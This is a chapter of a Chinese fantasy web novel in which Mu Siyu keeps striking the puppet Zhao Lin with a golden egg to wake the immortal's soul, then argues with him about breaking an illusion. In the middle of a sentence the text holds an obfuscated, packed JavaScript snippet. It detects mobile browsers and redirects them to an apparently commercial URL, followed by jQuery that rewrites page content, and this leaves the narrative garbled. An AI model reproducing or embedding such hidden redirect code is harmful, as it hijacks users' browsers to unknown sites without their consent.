37. 第37章
作品:《都说了是正经勾魂啊》 事实证明,这法子确实有用。
不过,当慕思虞历经万难,终于进入幻境时,额头已经鼓起一个青紫大包,两眼一闭,当场晕厥了过去。
不知晕了多久,意识才逐渐恢复清明,正想抬手,微微遮挡一下刺眼的白光,却从指尖缝隙间望见了一个男子。
男子神色焦灼,蹲在她面前,一边轻轻摇晃她的手臂,一边不停地大喊,想要将她唤醒。
慕思虞坐起身,臀部着地,往后挪了两下,捂着脑袋眯起眼睛,皱着眉头,将他从上到下好一阵打量。
奔丧?大哥你谁?
定睛一看,啧!有点眼熟。好熟悉的俊秀面容,好熟悉的素净旧衣,好熟悉的草药竹篓。
“姑娘!姑娘!姑娘你没事吧?”
慕思虞盯着他没吭声。
“天色已晚,山路难行,不如姑娘先去寒舍暂歇一晚,明日再下山?”
慕思虞:“……”
“我不是坏人,我已经成家了。姑娘大可以放心,我与我家娘子就住在那头山上。”
我靠!又来?!
慕思虞想都没想,当即抓起手边的石头,猛地一挥,“哐当”一声,狠狠往他头上砸,一个腰腹着力,鲤鱼打挺,一眨眼的功夫就跑到了三里开外。
跑到一半她才反应过来,缓缓停下,原地踏步,思来想去,想去思来,不对啊,跑什么?
费尽心思才回来的,跑哪样?
她一个跨步接上另一个跨步,倒退回去,弯起眼睛,倾下身子,跟坐在地上的昭鳞打了个招呼。
“你好啊。”
瘫在地上的昭鳞脑袋迅速后仰,生怕慕思虞再给他的头来一下,须臾,喉间上下滚动两次,“姑娘……好。”
打过招呼,便算是认识了。
慕思虞对他的这个反应很是满意,转过身,双手背在身后,嘴里哼着不知名的小调,蹦蹦跳跳地走了。
她走在前面,昭鳞见她离开的方向是自家小院,迟疑片刻,还是踉跄爬起来,背着竹篓默默跟上。
两人一前一后,各自顶着一个青紫大包,缓缓朝着方灵心所在的小院走去。
傀儡就是傀儡,没有思想,没有意识,没有思维。
有的还是与第一回遇见她一样,在固定的位置停步,固定的位置弯腰。
固定的位置松下竹篓一侧肩带,取出里面的锈迹斑斑的镰刀,将峭壁上的花草刨根取下。
再固定地跟她讲述,方灵心给他灌输的那一套青梅竹马,两小无猜的恩爱戏码。
腻,很腻,太腻,慕思虞实在听不下去。
她想起上次自己就是在这个地方,姻缘线第一次在幻境里面有了反应,于是逼迫自己生出逃离的念头,试图与顾宁渊产生感应。
可这回姻缘一线牵却毫无动静,没有丝毫反应,并未禁锢她,反而是由着她跑,她不死心地又跑了几步,仍旧没反应,这才垂头泄了气。
果然,姻缘线是仙界神器。
神器不认其他,只认真心,谎言在它的面前,根本行不通。
“姑娘,”昭鳞疑惑地看向她,“你……这是何意?”
他不懂她为何忽然停下,为何忽然朝后跑,又为何忽然跑回来,再跑回去。
如此往复。
慕思虞身形一顿,回头扫了他一眼,眯起眼睛,眉眼弯弯,笑得不怀好意,“你,怕痛吗?”
昭鳞一听这话,仿佛又想起了方才被砸头的情形,一个腿软没站稳,摔到岩壁内侧。
他一面扶着峭壁,一面捂着额头,颤声道:“我觉得应该是怕的……吧。”
慕思虞缓步靠近,踱步到他面前,俯下身子,笑脸盈盈,下一刻,猛地扬起手中金蛋,砸向他的脑袋。
抱歉啊,怕也没用!
昭鳞两眼一黑,瞬间被砸晕了过去,浑身一软,再次倒在地上。
与此同时,一道桀骜的声音响起,言语间尽是不满,怒骂道:“喂!你砸他干什么?!那是傀儡不错,可他用的是我的真身!!”
慕思虞漫不经心随手一扔,将骂骂咧咧的金蛋丢进昭鳞怀里,毫不在意地掸了掸掌心,“我不砸晕他,你能醒?”
他沉默了一瞬,冷冷道:“砸坏了算谁的?”
慕思虞蹙起眉头,瞥他一眼,旋即移开视线,“总归,不算我的。”
他又沉默,深吸一口气:“你信不信我杀了你。”
慕思虞再次蹙眉瞥他,再次移开视线,“别得了便宜还卖乖。”
须臾,万籁俱寂。
整个山头只听得见山间的潺潺水声,以及枝头的阵阵鸟鸣。
不远处的松柏树枝上,两只鸟雀相对而立,右边炸毛,左边平静,右边那只张开翅膀,虎视眈眈盯着左边。
与此同时,金蛋昭鳞发出一声山崩地裂,地震山摇的嚎叫:“我要杀了你!!!我真的会杀了你!!!啊啊啊啊啊我必须杀了你!!!”
慕思虞捂着耳朵,等他嚎完,猛地放下手,指着金蛋骂道:“第一,你打不过顾宁渊。第二,你的灵力全部拿来维系这道幻境了。第三!”
“第三又如何?!”他怒吼。
慕思虞想也没想,淡然道:“第三,你现在是颗蛋,用蛋杀我,只会撞我一头包!”
昭鳞:“……”
他又恼又怒,在傀儡昭鳞怀中剧烈晃动,气急败坏道:“那我就元神归位,与这具躯壳合体,你给我等着!”
慕思虞急忙阻止,“喂!你别……”
……乱来。
金蛋骤然发出一道金光,没入昭鳞体内,倒在地上的昭鳞睁开眼睛,他站起来,低着头将自己浑身上下摸了一个遍,随即抬头对慕思虞邪魅一笑,“你想怎么……”
卡住。
“你想……”
再卡。
“你……”
他脸上的桀骜瞬间褪去,转而迷茫地看向慕思虞,抬手摸了摸额上另一个鼓起的青紫大包,温柔笑道:“慕姑娘,你这是何意?”
慕思虞:“……”
她望着昭鳞温润的脸,轻轻叹了一口气,双手合十,深鞠一躬,随即顺势捡起地上的金蛋。
起身,挥手,砸头,一气呵成。
昭鳞一个踉跄,头朝天,脸朝地,整个身子滚到峭壁内侧的坑底,趴在那里,一动不动。
“这就死了?”慕思虞伸出一只脚,轻轻踢了踢。
坑底之人双手撑地,默默爬起来,面色铁青地瞪着她,“你若是想找死,我成全你。”
慕思虞伸出左手五根手指,从尾指开始,依次弯下,“三、二……”
“数什么?!”
“一。”
“慕姑……”
“砰!”她用左手剩余两根手指,直指对方,右手扬起金蛋,再次狠狠砸了过去。
昭鳞显然被砸出了火气,顶着三个青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801669|183189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紫大包,脸色黑得像锅底,咬牙切齿道:“你到底在干什么?!”
“这都看不出来?”慕思虞夸张地惊讶道:“自然是唤醒你,堂堂千年妖兽……”
“是仙尊!”他打断。
“堂堂仙尊,活了这么多年,躯壳被人炼制成一个傀儡,元神合体仍然无法自控,一体双识,傀儡意识强过己身,传出去多难听?”她一边说话,一边将手中的金蛋抛向空中,抛高又接住,接住再抛高,定眼看向昭鳞,“被人看见了,不如去死。”
昭鳞看着那蛋,看得他一阵心惊胆颤,索性闭紧眼睛,捂住心口,沉默了须臾,“能不能换个法子?”
“你还有更好的办法吗?”
“……没有。”
“没有就听我的。”她拍了拍昭鳞的肩膀,狡黠笑道:“放心,死不了,就是头有点疼,顶多额头痛上两天,毁容而已。”
昭鳞:“……”
他想不通,顾宁渊到底喜欢这女人什么?喜欢她记仇?喜欢她心眼子小?还是喜欢她睚眦必报?
慕思虞见他一言不发,将金蛋随手塞进储物袋里,无视他的眉头狂跳,问道:“这幻境怎么破?”
“自愿。”
“什么?”
昭鳞讥讽道:“这幻境讲究的就是一个你情我愿,只要她自愿放下,幻境自然就破了。”
“你是在同我说笑吗?”慕思虞嗤笑一声,“自愿放下?你看她那个样子,像是会自愿放下的吗?她都把你变成一个唯命是从的傀儡了,恨不得把你时时刻刻绑在身边,你还觉得她会自愿放下?”
昭鳞当然没跟她说笑,他抬手碰了一下额间的肿块,白了一眼慕思虞,“破除幻境的法子我已经给了,至于能不能让她自愿放下,这是你需要解决的事。”
慕思虞:“???”
她解决?凭什么要她解决?又不是她被别人制成了一个傀儡,她的真身被一个傀儡占了去。
所以,这人是自以为知晓她的目的,便理所当然地认为她很好拿捏,于是便顺水推舟,将一切都推到她的身上吗?
她气极反笑,“我的目的从始至终都只是找到顾宁渊,其他的,与我无关。”
昭鳞轻笑一声,“破不了幻境,你就算是找到了他,又如何?我们又出不去。”
慕思虞有些抓狂,早知道当时就跑了,忘川花哪有命重要?
她忽然想起了点什么,看向昭鳞,“……你总该知道一点线索吧?据我所知,你屠尽同类后与她厮守,若是双方相爱共赴白头,她又为何把你炼制成傀儡,留在身边?难道……”
她冷不丁地道:“你负了她?”
昭鳞沉默。
旋即睁开眼睛,目光缓缓转向慕思虞,“我不知道她到底跟你说了什么,但我可以对天发誓,我从未与她相爱,也从未与她相约共赴白头。我与她,不过一场你情我愿的露水情缘,何必放在心上?潇洒一点对双方都好。”
他上前几步,看向别处,“神与天地同寿,与日月同光,寿命长达数千载,甚至数万载,岁月长河途中,我当然会动情,但我与世间万物皆有情,若是每一个女子都与我谈爱,要求一个神只与她厮守,不觉得太过分吗?”
他顿了顿,“她不过是我漫长孤寂的岁月中,心底忽然激起的一阵波澜,但只是波澜,仅此而已。更何况,我已经为这阵波澜付出了应有的代价,我无愧。”
“她应该知足。”

